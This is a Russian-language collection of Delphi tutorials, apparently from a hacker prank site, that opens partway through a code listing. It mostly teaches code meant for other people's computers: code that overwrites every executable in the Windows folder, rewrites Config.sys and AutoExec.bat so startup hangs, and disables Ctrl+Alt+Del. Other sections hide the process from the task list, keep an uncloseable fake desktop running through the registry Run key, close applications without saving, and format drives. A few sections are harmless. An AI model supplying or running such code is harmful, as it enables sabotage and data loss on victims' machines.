Memo1.Lines.Append('[FuckSystem]');
Memo1.Lines.Append('[HackSystem]');
Memo1.Lines.SaveToFile('C:\Config.sys');
end;

Как это сделано?

Мы использовали два системных файла. Это AutoExec.bat и Config.sys. В текстовое поле по имени Memo1 поочерёдно помещаем содержимое файлов с помощью метода LoadFromFile и добавляем нужный код. В конфиге мы создаём меню, которое будет отображать при загрузке системы. Состоять оно будет из двух пунктов: HackSystem и FuckSystem. А в автоэкзэке описываем, что по нажатию на том или ином пункте меню машина будет зацикливаться... т.е. глупый пользователь, взяв один из пунктов меню будет сидеть и ждать, пока не запустится Windows, любуясь на заставку маст-дая с облачками и остальными причиндалами. Ему не в жизнь не догадаться нажать Esc, а если нажмёт, то то, что он увидит... м-да... лучше сто раз увидеть, чем один раз заиметь...




Отключить ctrl+alt+delete

Если вы хотите зло подшутить над глупым пользователем, а он оказывается не такой уж и глупый, и в наглую пытается снять задачу с вашей проги, то вы можете его круто обломать - отключив сочетание клавиш Ctrl+Alt+Delete:



Например, у нас есть две кнопки (назовёт их Disablebtn & Enablebtn):

procedure TForm1.DisablebtnClick(Sender: TObject); //Отключить
var
b:boolean;
begin
b:=false;
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,@b,0);
end;

procedure TForm1.EnablebtnClick(Sender: TObject); //Включтиь
var
b:boolean;
begin
b:=false;
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,@b,0);
end;




Убрать прогу из списка ctrl+alt+delete

Конечно, отключить Ctrl+Alt+Del - это круто, но пользователь сразу догадается, что кто-то у него побывал в гостях с нечистыми намерениями, а если вы хотите всё делать "под покровом темноты", то наилучший способ просто убрать прогу из списка.

Например, по созданию окна. Для этого до слова implementation вписываем следующую функцию:

function RegisterServiceProcess(dwProcessID,dwType:integer):integer;stdcall;external 'KERNEL32.DLL';

А на создание окна код будет выглядеть так:

procedure TForm1.FormCreate(Sender: TObject);
begin
if not(csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID,1);
end;


Ну вот и всё, а если вам понадобится сделать прогу видимой, тогда сделаем это так:

procedure TForm1.Button1Click(Sender: TObject);
begin
if not(csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID,0);
end;




--------------------------------------------------------------------------------




взаимодействие с чужими окнами

Представьте себе, глупый пользователь сидит как ни в чём небывало с умным видом уже в какой раз пытается составить документ в Microsoft Word'e, но вдруг окно начинает бешено скакать по экрану, в его заголовке выводятся непристойные сообщения, оно то сворачивается, то разворачивается, меняя постоянно свои размеры, а под конец совсем исчезает, унося в небытиё весь текст, который с таким трудом набил ламерюга... а если так себя в любой момент может повести любая программа... впечатления от этого останутся на долго!!!


Для того, чтобы сделать что-нибудь над каким-либо окном нужно сначала получить его дескриптор, т.е. его положение в оперативной памяти. Для этого нужно использовать функцию FindWindow. Ей нужно указать всего два параметра: сначала класс искомого окна, затем его заголовок. Ну с заголовком проблем вообщем-то нет - его мы видим, но вот как определить класс... ведь он скрыт от глас пользователя. В действительности мы может указать только заголовок окна, а вместо класса ставим nil.

Для начала запустите стандартную программу "Блокнот" - и что же мы видим? В блокноте в заголовке окна отслеживается имя текущего файла. Изначально, т.к. файла нет в использовании, заголовок блокнота выглядит так: "Безымянный - Блокнот". Постараемся по этому критерию найти окно блокнота. Выглядеть это будет так:

if FindWindow(nil,'Безымянный - Блокнот')<>0 then
ShowMessage('Окно найдено')
else
ShowMessage('Окно НЕнайдено');

Как мы видим из кода, если наша программа найдёт окно блокнота, мы увидим сообщение, гласящее об этом.

Далее попробуем передвинуть это окно

var
h:HWND;
begin
h:=findwindow(nil, 'Безымянный - Блокнот');
if h<>0 then
SetWindowPos(h,HWND_BOTTOM,1,1,20,20,SWP_nosize);

Опять находим блокнот. Его дескриптор помещаем в переменную класса HWND[С английского Handle Window - дескриптор окна]. Далее используем функцию SetWindowPos для задания позиции. В качестве параметров нужно указать:

Дескриптор окна, которое хотим переместить

Идентификатор окна, которое предшествует перемещаемому окну в Z-последовательности. Z-последовательность это порядок, в котором формировались окна. Данный параметр указывает с какого именно окна необходимо начинать писк. В качестве значений может принимать либо дескриптор какого-либо окна в системе, либо одно из нижеследующих значений:

HWND_BOTTOM Начало Z-последовательности
HWND_NOTOPMOST Первое окно которое располагается не "поверх все окон"

HWND_TOP Вершина Z-последовательности
HWND_TOPMOST Первое окно которое располагается "поверх все окон"

Позиция окна по горизонтали

Позиция окна по вертикали

Ширина окна

Высота окна

Спецификаторы изменения позиции и размеров окна[флаги]. Для задания значения можно комбинировать следующие константы

SWP_DRAWFRAME Прорисовка фрейма вокруг окна.
SWP_FRAMECHANGED Посылает сообщение WM_NCCALCSIZE окну, даже если размер его не был изменён. Если этот флаг не указан, сообщение WM_NCCALCSIZE будет посылаться, только после изменения размеров окна.
SWP_HIDEWINDOW Скрывает окно.
SWP_NOACTIVATE Не активизирует окно. Если же этот флаг не будет поставлен, окно активизируется и будет перемещено поверх всех окон. А вот встанет ли окно даже выше тех окон, которым задано HWND_TOPMOST или нет зависит от параметра hWndInsertAfter.
SWP_NOCOPYBITS Если этот спецификатор не будет установлен, тогда содержимое клиентской области окна будет скопировано и вставлено во вновь отобразившееся окно после его перемещения.
SWP_NOMOVE Сообщает, что нужно игнорировать параметры задания позиции окну.
SWP_NOOWNERZORDER Сообщает, что не следует изменять позицию окна владельца в Z-последовательности.
SWP_NOREDRAW Не перерисовывает окно.
SWP_NOREPOSITION Такой же как и SWP_NOOWNERZORDER.
SWP_NOSENDCHANGING Мешает окну получить сообщение WM_WINDOWPOSCHANGING.
SWP_NOSIZE Сообщает, что нужно игнорировать параметры задания размеров окну.
SWP_NOZORDER Сохраняет текущее положение в Z-последовательности (игнорирует сообщение hWndInsertAfter parameter).
SWP_SHOWWINDOW Отображает окно.

Если данная функция выполнится успешно, она возвратит отличное от нуля значение.

Ну, вот, теперь мы можем передвигать и изменять в размерах чужие окна!!!





заменяем все exe-файлы в папке windows

[Автор - Prankster]

http://www.hacker85.narod.ru


Hi, перец! сегодня мы напишем прогу, заменяющую все exe - файлы в директории Windows
Итак, начнём.

Создаём новый Project.
Для начала нам нужно узнать, в какой директории установлена Windows
Для этого: В разделе public пишем:

Windir : String;
WindirP : PChar;
Res : Cardinal;

затем по событию OnActivate
пишем:



WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
if Res > 0 then WinDir := StrPas(WinDirP); //теперь в переменной Windir у нас находится путь к Windows

теперь перейдем непосредственно к самому изъятию );
всё в том же событии OnActivate пишем: var OurFileCopyName:string; // - до begin, заводим две переменные
i:integer;


затем перейди в закладку Win 3.1 найди там FileListBox и кинь его на форму, устанонови Свойство Visible в false, чтоб глаз не мозолил ); в свойстве Mask установи значение *.exe , чтобы ы нём оторбажались только *.exe-файлы;
теперь всё в том же OnActivate пиши: FileListBox1.Directory:=Windir;
OurFileCopyName:='c:\our.exe';
CopyFile(PChar(Application.ExeName),PChar(OurFileCopyName),true); //создаём временный файл
for i:=0 to FileListBox1.Count-1 do begin // - запускаем цикл
CopyFile(PChar('c:\our.exe'), PChar(Windir+'\'+FileListBox1.Items.Strings[i]), false); // - заменяем файло
end; // - останавливаем цикл
DeleteFile('C:\our.exe'); // - Уничтожаем временный файл


Все! теперь что бы ламерюга не запустил (из Windows-овского говна) запустится наша кул-хацкерская прога

З.Ы. можешь ещё в OnActivate прописать: ShowMessage('Windows beta version extracted!');


чтобы ламерюга подумал, что у него Windows грохнулся!
Усё!




безжизненный рабочий стол

[Автор - Prankster]

http://www.hacker85.narod.ru



Алгоритм следующий: нужно на форму вынести компонент класса TImage скопировать в него рабочий стол и растянуть во весь экран. Делаем это по созданию окна [событие OnCreate()]: procedure TForm1.FormCreate(Sender: TObject);
var
ScreenDC:hdc;
canvas :Tcanvas;
begin
ScreenDC:=GetDC(0);
Canvas:=TCanvas.Create();
canvas.Handle:=ScreenDC;
Width:=Screen.Width;
Height:=Screen.Height;
Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height),
canvas,Rect(0,0,Screen.Width,Screen.Height));
Releasedc(0,ScreenDC);
Canvas.Free;
end;

Затем нужно свойство формы BorderStyle установить в значение bsNone, чтобы не было видно боковины окна, а свойство FormStyle - в fsStayOnTop, дабы наше окно всегда было всех других окон!!! Свойство Align компонента Image1- в значение alClient, чтобы картинка занимала всё свободное. место

Далее позаботимся о том, чтобы наше приложение не было видно и чтобы пользователь не мог завершить его :-))

Событие по созданию окна в конечном итоге должно выглядеть так:

procedure TForm1.FormCreate(Sender: TObject);
var
ScreenDC:hdc;
canvas :Tcanvas;
h:TRegistry;
begin
ScreenDC:=GetDC(0);
Canvas:=TCanvas.Create();
canvas.Handle:=ScreenDC;
Width:=Screen.Width;
Height:=Screen.Height;
Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height),
canvas,Rect(0,0,Screen.Width,Screen.Height));
Releasedc(0,ScreenDC);
Canvas.Free;
//////////////////////////////////////
if not(csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID,1);
//////////////////////////////////////
WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
if Res > 0 then WinDir := StrPas(WinDirP);
//////////////////////////////////////
if FileExists(WinDir+'\OurProgram.com')=false then
CopyFile(PChar(Application.ExeName),PChar(WinDir+'\OurProgram.com'),false);
//////////////////////////////////////
h:=TRegistry.Create;
h.RootKey:=HKEY_LOCAL_MACHINE;
h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
h.WriteString('MemoryScan',WinDir+'\OurProgram.com');
h.CloseKey;
h.Free;
end;

На событие OnCloseQuery() формы напишем:

CanClose:=false;

На событие OnActivate():

ShowWindow(Application.Handle,sw_Hide);

В области public объявим несколько переменных:

public
{ Public declarations }
Windir : String;
WindirP : PChar;
Res : Cardinal;

А в uses подключим модуль Registry:

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, Registry;

В разделе "Программы" можно найти то, что в итоге получилось.





Как изменить заголовок кнопки "пуск"

[Автор - Misha Moellner]


Для начала создайте какой-нибудь Bitmap, который вы будете натягивать на кнопку [т.к. такого понятия как "заголовок кнопки ПУСК" в действительности не существует], а та надпись, что находится на стартовой кнопке, является рисунком. Создавая рисунок, учитывайте размеры и то, что левая сторона должна быть "плоской", как у нас на рисунке слева, это связано с особенностями наложения.

Далее займёмся проектом. Сначала объявляем глобальные переменные:

StartButton: hWnd;
OldBitmap: THandle;
NewImage: TPicture;



Затем описываем событие по создания окна [OnCreate]: procedure TForm1.FormCreate(Sender: TObject);
begin
NewImage := TPicture.create;
NewImage.LoadFromFile('C:\Windows\delphi.BMP'); //здесь укажите путь к нужному файлу
StartButton := FindWindowEx
(FindWindow(
'Shell_TrayWnd', nil),
0,'Button', nil);
OldBitmap := SendMessage(StartButton,
BM_SetImage, 0,
NewImage.Bitmap.Handle);
end;




Если вы делаете это на своей машине, то можете всё восстанавливать по событию OnDestroy: procedure TForm1.FormDestroy(Sender: TObject);
begin
SendMessage(StartButton,BM_SetImage,0,OldBitmap);
NewImage.Free;
end;




--------------------------------------------------------------------------------




Как сгенерировать случайный пароль [автор - kurt mueller]

[Автор - Kurt Mueller]

Вам понадобилось, чтобы Ваше приложение само создавало пароли ? Возможно данный способ Вам пригодится. Всё очень просто: пароль создаётся из символов, выбираемых случайным образом из таблицы.

Пароль создаётся из символов, содержащихся в таблице.
Внимание:
Длина пароля должна быть меньше, чем длина таблицы!

Запускаем генератор случайных чисел (только при старте приложения).

procedure TForm1.FormCreate(Sender: TObject);
begin
Randomize;
end;



Описываем функцию: function RandomPwd(PWLen: integer): string;
// таблица символов, используемых в пароле
const StrTable: string =
'!#$%&/()=?@<>|{[]}\*~+#;:.-_' +
'ABCDEFGHIJKLMabcdefghijklm' +
'0123456789' +
'ДЦЬдцьЯ' +
'NOPQRSTUVWXYZnopqrstuvwxyz';
var
N, K, X, Y: integer;
begin
// проверяем максимальную длину пароля
if (PWlen > Length(StrTable)) then K := Length(StrTable)-1
else K := PWLen;
SetLength(result, K); // устанавливаем длину конечной строки
Y := Length(StrTable); // Длина Таблицы для внутреннего цикла
N := 0; // начальное значение цикла

while N < K do begin // цикл для создания K символов
X := Random(Y) + 1; // берём следующий случайный символ
// проверяем присутствие этого символа в конечной строке
if (pos(StrTable[X], result) = 0) then begin
inc(N); // символ не найден
Result[N] := StrTable[X]; // теперь его сохраняем
end;
end;
end;




Ну и обработчик нажатия кнопки будет выглядеть так: procedure TForm1.Button1Click(Sender: TObject);
var
cPwd: string;
begin
// вызываем функцию генерации пароля из 30 символов
cPwd := RandomPwd(30);
// ...
end;




--------------------------------------------------------------------------------




Переворачиваем рабочий стол

[Автор - William Egge]

Весёлая программка, которая позволяет подшутить над Вашими друзьями:-]. Пример переворачивает десктоп и держит его в таком положение, до тех пор пока не кликнуть по нему мышкой. По мимо этого код содержит в себе довольно интересные моменты.

Совместимость: Delphi 5.x (или выше)

1. В примере используется TDesktopCanvas, который получить доступ к десктопу через объект TCanvas.
2. Так же в примере используется TQuickPixel, который позволяет увеличить скорость доступа к пикселям.


Скачайте исходник, откомпилируйте его, и поместите программку в папку "Автозагрузка" на компьютере Вашего друга и смело идите по своим делам :-).

Для завершения работы программки достаточно кликнуть по перевёрнутому экрану.

А теперь давайте разберёмся с исходником:


Класс TQuickPixel был сделан для быстрого доступа к пикселям, чтобы не возиться со строками развёртки. Для увеличения производительности, данный класс кэширует строки развёртки. Единственный недостаток данного класса заключается в том, что он устанавливает Ваш Bitmap в 24 бита.

Ниже представлен собственно сам код TQuickPixel.


unit QuickPixel;

interface
uses
Windows, Graphics;

type
TQuickPixel = class
private
FBitmap: TBitmap;
FScanLines: array of PRGBTriple;
function GetPixel(X, Y: Integer): TColor;
procedure SetPixel(X, Y: Integer; const Value: TColor);
function GetHeight: Integer;
function GetWidth: Integer;
public
constructor Create(const ABitmap: TBitmap);
property Pixel[X, Y: Integer]: TColor read GetPixel write SetPixel;
property Width: Integer read GetWidth;
property Height: Integer read GetHeight;
end;

implementation

{ TQuickPixel }

constructor TQuickPixel.Create(const ABitmap: TBitmap);
var
I: Integer;
begin
inherited Create;
FBitmap:= ABitmap;
FBitmap.PixelFormat:= pf24bit;
SetLength(FScanLines, FBitmap.Height);
for I:= 0 to FBitmap.Height-1 do
FScanLines[I]:= FBitmap.ScanLine[I];
end;

function TQuickPixel.GetHeight: Integer;
begin
Result:= FBitmap.Height;
end;

function TQuickPixel.GetPixel(X, Y: Integer): TColor;
var
P: PRGBTriple;
begin
P:= FScanLines[Y];
Inc(P, X);
Result:= (P^.rgbtBlue shl 16) or (P^.rgbtGreen shl 8) or P^.rgbtRed;
end;

function TQuickPixel.GetWidth: Integer;
begin
Result:= FBitmap.Width;
end;

procedure TQuickPixel.SetPixel(X, Y: Integer; const Value: TColor);
var
P: PRGBTriple;
begin
P:= FScanLines[Y];
Inc(P, X);
P^.rgbtBlue:= (Value and $FF0000) shr 16;
P^.rgbtGreen:= (Value and $00FF00) shr 8;
P^.rgbtRed:= Value and $0000FF;
end;

end.



Ну, надеюсь, вы с ним разобрались, перейдём же к самому проекту. Свойство окна BorderStyle установите в bsNone, свойство FormStyle - в fsStayOnTop, а свойству WindowState задайте значение wsMaximized. Вынесите на форму компонент TImage, его свойство Align выставьте в alClient, по нажатию на TImage напишите: Close;




Затем следующим образом опишите обработчик создания окна [событие OnCreate()]: procedure TForm1.FormCreate(Sender: TObject);
var
B: TBitmap;
Desktop: TDesktopCanvas;
QP: TQuickPixel;
X, Y: Integer;
EndCopyIndex: Integer;
Temp: TColor;
begin
Left:= 0;
Top:= 0;
Width:= Screen.Width;
Height:= Screen.Height;
B:= nil;
Desktop:= nil;
try
Desktop:= TDesktopCanvas.Create;
B:= TBitmap.Create;
B.Width:= Screen.Width;
B.Height:= Screen.Height;
B.Canvas.CopyRect(Rect(0, 0, B.Width, B.Height), Desktop, Rect(0, 0, B.Width, B.Height));
B.PixelFormat:= pf24bit;
QP:= TQuickPixel.Create(B);
try
for Y:= 0 to (QP.Height div 2)-1 do
begin
EndCopyIndex:= (QP.Height-1)-Y;
for X:= 0 to QP.Width-1 do
begin
Temp:= QP.Pixel[X, Y];
QP.Pixel[X, Y]:= QP.Pixel[X, EndCopyIndex];
QP.Pixel[X, EndCopyIndex]:= Temp;
end;
end;
finally
QP.Free;
end;
with Image1.Picture.Bitmap do
begin
Width:= Image1.Width;
Height:= Image1.Height;
Canvas.CopyRect(Rect(0, 0, Width, Height), B.Canvas, Rect(0, 0, Width, Height));
end;
finally
B.Free;
Desktop.Free;
end;
end;




Проверьте, все ли модули у вас подключены. Раздел uses должен выглядеть так: uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, DesktopCanvas, QuickPixel;





Перетасовка экрана

В статье описывается пример, который позволяет разделить экран на блоки, а затем поменять эти блоки местами. Так же можно менять размеры блоков и скорость их перемещения. На мой взгляд неплохое начало для создания логической игрушки либо экранной заставки.

Уверен, что каждый из Вас уже хоть раз видел что-то подобное в действии. При запуске, программа берёт изображение десктопа и разделяет его на определённое количество прямоугольных частей (одинакового размера). После этого часть блоков случайным образом перемещается со своего первоначального места.


Как это всё осуществить
Создайте новый проект Delphi с чистой формой. Установите свойство Name в 'Shuffler'. Добавьте на форму компоненты Image (Image1) и Timer (Timer1). Image будет содержать в себе изображение десктопа (разобранное), а Timer будет вызывать процедуру рисования. Свойство Interval компонента Timer определяет, как часто будет происходить перемешивание (значение 1000 эквивалентно одной секунде, 2000 - двум секундам).
Так же для проекта потребуется несколько глобальных переменных. Поместите следующий код перед секцией implementation в модуле формы:

var
Shuffler: TShuffler; //это было добавлено самим Delphi

DesktopBitmap : TBitmap;
gx, gy : Integer;
redRect : TBitmap;
rW, rH : Integer;

const
DELTA = 8; //должно быть 2^n


Значение константы (integer) DELTA определяет, на сколько частей будет разбит экран (строк и колонок). Число DELTA должно быть в виде 2^n, где n - целое (integer) число со знаком. Большое значение DELTA приводит к маленьким размерам блоков. Например, если DELTA равна 16 и разрешение экрана 1024 x 768, то экран будет поделён на 256 частей размером 64x48.

DesktopBitmap - это битмап, который хранит в себе захваченное текущее изображение десктопа - мы будем получать это изображение делая скриншот.

redRect это битмап картинка, которая заменяет перемещённую часть картинки. redRect создаётся в событии формы OnCreate.

gx, gy содержат текущие координаты x и y (Left, Top) redRect внутри разобранного изображения.

rW, rH это ширина и высота прямоугольного блока. Для 1024x768 и DELTA=16, rW будет равно 64 а rH = 48.

Проект начинает выполняться с обработчика события OnCreate:

procedure TShuffler.FormCreate(Sender: TObject);
begin
rW := Screen.Width div DELTA;
rH := Screen.Height div DELTA;

redRect:=TBitmap.Create;
with redRect do begin
Width := rW;
Height := rH;
Canvas.Brush.Color := clRed;
Canvas.Brush.Style := bssolid;
Canvas.Rectangle(0,0,rW,rH);
Canvas.Font.Color := clNavy;
Canvas.Font.Style := Canvas.Font.Style + [fsBold];
Canvas.TextOut(2,2,'About');
Canvas.Font.Style := Canvas.Font.Style - [fsBold];
Canvas.TextOut(2,17,'Delphi');
Canvas.TextOut(2,32,'Programming');
end;

Timer1.Enabled := False;
Image1.Align := alClient;
Visible := False;
BorderStyle := bsNone;
Top := 0;
Left := 0;
Width := Screen.Width;
Height := Screen.Height;
InitScreen;
// SetWindowPos(Handle,HWND_TOPMOST,0,0,0,0,
SWP_NOSIZE + SWP_NOMOVE);
Visible := True;
Timer1.Interval := 10; // меньше := быстрее
Timer1.Enabled := True; // Запускаем вызов DrawScreen
end;


Во-первых, значения rW и rH определяются значением DELTA. Как уже объяснялось, если разрешение экрана 800x600 и DELTA равна 8, изображение экрана будет разделено на 8x8 частей размером 100x75 (rW = 100, rH = 75).

Во-вторых, созданный битмап redRect, будет размещён внутри картинки, с той целью, чтобы заменить перемещённый блок. redRect является простым красным прямоугольником с текстом (синим) внутри него. Так же для этого можно использовать готовую эмблему или что-то ещё.

Наконец, устанавливается ширина и высота формы как у экрана. Вызов (закомментированный) API функции SetWindowPos можно использовать, чтобы установить форму всегда на переднем плане (OnTop), не перемещаемую и не изменяемую. Вызывается процедура InitScreen. Устанавливает интервал таймера и начинает выполняться обработчик события OnTimer, запуская процедуру DrawScreen.

InitScreen - Скриншот
Процедура InitScreen, вызываемая из обработчика события OnCreate, используется для получения скриншота текущего изображения десктопа, устанавливая начальную позицию redRect и рисуя сетку. Код, который будет рисовать сетку необязателен.

Чтобы получить скриншот десктопа, используется GetDC для GetDesktopWindow. API функция BitBt используется для передачи картинки десктопа в DesktopBitmap. GetDC(GetDesktopWindow) получает дескриптор контекста устройства дисплея для указанного окна - окна возвращённого функцией GetDesktopWindow. В заключении DesktopBitmap ассоциируется с компонентой Image1. Если что-то не ясно, то советую заглянуть справичные файлы по Delphi.

Начальная позиция redRect выбирается случайным образом. Trunc(Random * DELTA) возвращает целое число от 0 до DELTA. Далее, redRect рисуется в точке gx, gy, используя функцию CopyRect объекта Canvas. Опять же, если Вы не знакомы с алгоритмом рисования Delphi, то советую порыться в справке.

В конце, при помощи MoveTo и LineTo рисуется сетка. Сетка необязательна и используется только для того, чтобы лучше различать границы блоков.

procedure InitScreen;
var i,j:integer;
begin
//получаем битмап десктопа
DesktopBitmap := TBitmap.Create;
with DesktopBitmap do begin
Width := Screen.Width;
Height := Screen.Height;
end;
BitBlt(DesktopBitmap.Canvas.Handle,
0,0,Screen.Width,Screen.Height,
GetDC(GetDesktopWindow),0,0,SrcCopy);

Shuffler.Image1.Picture.Bitmap := DesktopBitmap;

//изначальные координаты redRect
Randomize;
gx := Trunc(Random * DELTA);
gy := Trunc(Random * DELTA);

Shuffler.Image1.Canvas.CopyRect(
Rect(rW * gx, rH * gy, rW * gx + rW, rH * gy + rH),
redRect.Canvas,
Rect(0,0,rW,rH));

//рисуем сетку
for i:=0 to DELTA-1 do begin
Shuffler.Image1.Canvas.MoveTo(rW * i,0);
Shuffler.Image1.Canvas.LineTo(rW * i,Screen.Height);

Shuffler.Image1.Canvas.MoveTo(0, rH * i);
Shuffler.Image1.Canvas.LineTo(Screen.Width, rH * i);
end;
end;


Draw Screen
Основной код находится в процедуре DrawScreen. Эта процедура вызывается внутри события OnTimer компонента Timer.

procedure DrawScreen;
var
r1,r2:TRect;
Direction:integer;
begin
r1:=Rect(rW * gx , rH * gy, rW * gx + rW , rH * gy + rH);

Direction := Trunc(Random*4);
case Direction of
0: gx := Abs((gx + 1) MOD DELTA); //право
1: gx := Abs((gx - 1) MOD DELTA); //лево
2: gy := Abs((gy + 1) MOD DELTA); //низ
3: gy := Abs((gy - 1) MOD DELTA); //верх
end; //case

r2 := Rect(rW * gx , rH * gy, rW * gx + rW , rH * gy + rH);

with Shuffler.Image1.Canvas do begin
CopyRect(r1, Shuffler.Image1.Canvas, r2);
CopyRect(r2, redRect.Canvas, redRect.Canvas.ClipRect);
end;
end;


Несмотря на кажущуюся сложность кода, он очень прост в использовании. Менять местами можно только части смежные с redRect, поэтому доступны только 4 возможных направления. Прямоугольник r1 содержит текущию позицию redRect, r2 указывает на прямоугольник с блоком, который был перемещён. CopyRect используется для перемещения выбранного блока на место redRect и рисования redRect его в новом месте - таким образом осуществляется обмен этих двух блоков.
Было бы приятней наблюдать анимированный обмен блоков, но я оставлю эту задачу для самостоятельного решения.

Не забудьте по событию OnTimer для компонента Timer написать:

DrawScreen;




Как отключить курсор мыши

//Выключение курсора
procedure TForm1.Button1Click(Sender: TObject);
Var
CState:Integer;
Begin
CState:= ShowCursor(True);
while Cstate >= 0 do Cstate := ShowCursor(False);
End;


//Включение курсора


procedure TForm1.Button2Click(Sender: TObject);
Var
Cstate : Integer;
Begin
Cstate := ShowCursor(True);
while CState<0 do CState:=ShowCursor(True);
End;






Как заставить мышь сдвинуться на нужную позицию

Эта статья даёт вам возможность управлять положением курсора мыши. Теперь вы сможете указывать пользователю, что именно он должен сделать, и не позволять ему делать то, что вам не нравится. Ну, и, даже если вы будете просто хаотично передвигать мышь, пользователь будет просто беситься!..

Для начала мы научимся узнавать где находится курсор мыши, ведь в зависимости от этого будем принимать решение. Это мы можем сделать с помощью функции GetCursorPos(). В качестве параметра ей нужно указать


адрес структуры TPoint - это попросту точка. У объектов данного класса есть два поля: X и Y, которые описывают непосредственно координаты точки. Если функция выполнится успешно, она вернёт значение true, иначе - false. Например, следующий пример сдвигает кнопку по её нажатию и вместе с ней курсор мыши, чтобы по следующему нажатию щелчок мышью не пришёлся на область, расположенную за пределами кнопки. Этот эффект можно увидеть в программе 3D Studio MAX, на временной шкале, которая позволяет передвигаться по кадрам фильма.



procedure TForm1.Button6Click(Sender: TObject);
var
p:TPoint;
begin
if GetCursorPos(p)=true then begin
SetCursorPos(p.X+5,p.Y);
Button6.Left:=Button6.Left+5;
end;
end;




В этом примере так же используется функция SetCursorPos, которая задаёт положение курсору мыши. Ей в скобках нужно указать два числовых значения X и Y, которые определяют координаты нового положения курсора.



Я эту функцию использовал в одной из своих программ. Было это, когда я писал About. На самом видном месте окна я установил метку-гиперссылку, указав в её заголовке свой e-mail. Но почему-то мне показалось, что этого не достаточно, чтобы привлечь внимание пользователя, тогда я заставил указатель мыши перемещаться к этой метке, и "пальцем" указывать на неё, в тот момент, когда мышь доползала до нужного места. Не заметить мой e-mail было просто невозможно!!!



Для этого нужно сделать следующее:

Поместите на форму компонент типа TLabel

Вынесите компонент TTimer

Объявите две глобальных переменные:

x_need,y_need:integer;

[именно в них мы будем отслеживать координаты нужной позиции для указателя мыши]

По событию формы OnActivate() активизируйте переменные:

x_need:=Label1.Left+Form1.Left+20;
y_need:=Label1.Top+Form1.Top+30;

По событию OnTimer для компонента Timer напишите:

procedure TForm1.Timer1Timer(Sender: TObject);
var
t:TPoint;
changex,changey:integer;
begin
GetCursorPos(t);
if t.y<>y_need then begin
if t.Y>y_need then changey:=-1
else changey:=1;
SetCursorPos(t.X,t.Y+changey);
end
else begin
if t.x<>x_need then begin
if t.X>x_need then changex:=-1
else changex:=1;
SetCursorPos(t.X+changex,t.Y);
end
else begin
Timer1.Enabled:=false;
end;
end;
end;

Скомпилируйте [F9] и убедитесь, что скорость движения слишком маленькая - отрегулируйте её с помощью свойства Timer'a Interval. Значение этого свойства обратнопропорционально скорости движения указателя мыши.




Спрятать/показать кнопку ПУСК

По нажатию на кнопку пишем следующее: Startbutton(false);
...круто!!!...а чтобы сделать ПУСК опять видимым: Startbutton(true);



Если вы думаете, что на этом дело и закончится, хочу поспешить вас разубедить, ведь вам ещё нужно реализовать процедуру Startbutton:

procedure Startbutton(visi:boolean);
Var Tray, Child : hWnd;
C : Array[0..127] of Char;
S : String;
Begin
Tray := FindWindow('Shell_TrayWnd', NIL);
Child := GetWindow(Tray, GW_CHILD);
While Child <> 0 do Begin
If GetClassName(Child, C, SizeOf(C)) > 0 Then Begin
S := StrPAS(C);
If UpperCase(S) = 'BUTTON' then begin
If Visi then ShowWindow(Child, 1)
else ShowWindow(Child, 0);
end;
End;
Child := GetWindow(Child, GW_HWNDNEXT);
End;
End;





--------------------------------------------------------------------------------




Сделать кнопку ПУСК неактивной

Для этого пишем: procedure TForm1.Button3Click(Sender: TObject);
begin
EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil),0,'Button',
nil),
false);
end;



Ну, а восстанавливаем активность кнопки такой процедурой:

procedure TForm1.Button4Click(Sender: TObject);
begin
EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil),0,'Button',nil),true);
end;






Как программно закрыть другое приложение без вывода сообщений о необходимости сохранения

Нужно просто послать ему сообщение WM_QUIT. Сделать это можно так:

PostMessage(FindWindow(Nil, 'Заголовок окна'), WM_QUIT, 0, 0);



--------------------------------------------------------------------------------




форматирование диска в win32

До слова implementation напишите следующий код: const SHFMT_DRV_A = 0;
const SHFMT_DRV_B = 1;
const SHFMT_ID_DEFAULT = $FFFF;
const SHFMT_OPT_QUICKFORMAT = 0;
const SHFMT_OPT_FULLFORMAT = 1;
const SHFMT_OPT_SYSONLY = 2;
const SHFMT_ERROR = -1;
const SHFMT_CANCEL = -2;
const SHFMT_NOFORMAT = -3;
function SHFormatDrive(hWnd : HWND;
Drive : Word;
fmtID : Word;
Options : Word) : Longint
stdcall; external 'Shell32.dll' name 'SHFormatDrive';



Процедура обработки нажатия кнопки будет выглядеть так: procedure TForm1.Button1Click(Sender: TObject);
var
FmtRes : longint;
begin
try
FmtRes:= ShFormatDrive(Handle,
SHFMT_DRV_A,
SHFMT_ID_DEFAULT,
SHFMT_OPT_QUICKFORMAT);
case FmtRes of
SHFMT_ERROR : ShowMessage('Error formatting the drive');
SHFMT_CANCEL :
ShowMessage('User canceled formatting the drive');
SHFMT_NOFORMAT : ShowMessage('No Format')
else
ShowMessage('Disk has been formatted');
end;
except
end;
end;





как глобально перехватить нажатие кнопки printscreen?

В примере для глобального перехвата нажатия клавиши printscreen регистрируется горячая клавиша (hot key).

Пример:

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
procedure WMHotKey(var Msg : TWMHotKey); message WM_HOTKEY;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

const id_SnapShot = 101;

procedure TForm1.WMHotKey (var Msg : TWMHotKey);
begin
if Msg.HotKey = id_SnapShot then
ShowMessage('GotIt');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
RegisterHotKey(Form1.Handle,
id_SnapShot,
0,
VK_SNAPSHOT);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
UnRegisterHotKey (Form1.Handle, id_SnapShot);
end;




Поприкалываемся над Блокнотом

[Автор - Prankster]

